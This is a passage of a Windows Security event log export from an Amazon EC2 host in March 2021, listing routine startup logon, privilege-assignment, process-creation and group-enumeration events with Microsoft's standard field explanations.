Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245217
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x38c
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x31c
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245225
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:36:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245224
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245223
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245222
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245221
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x712A
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245236
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x11070

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245235
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x1105E

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245234
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x11070
	Linked Logon ID:		0x1105E
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x358
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245233
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x1105E
	Linked Logon ID:		0x11070
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x358
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245232
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x358
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245231
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245230
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245229
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245228
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245227
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245226
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245248
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245247
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245246
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x17FA2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245244
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245243
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245242
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245241
Keywords=Audit Success
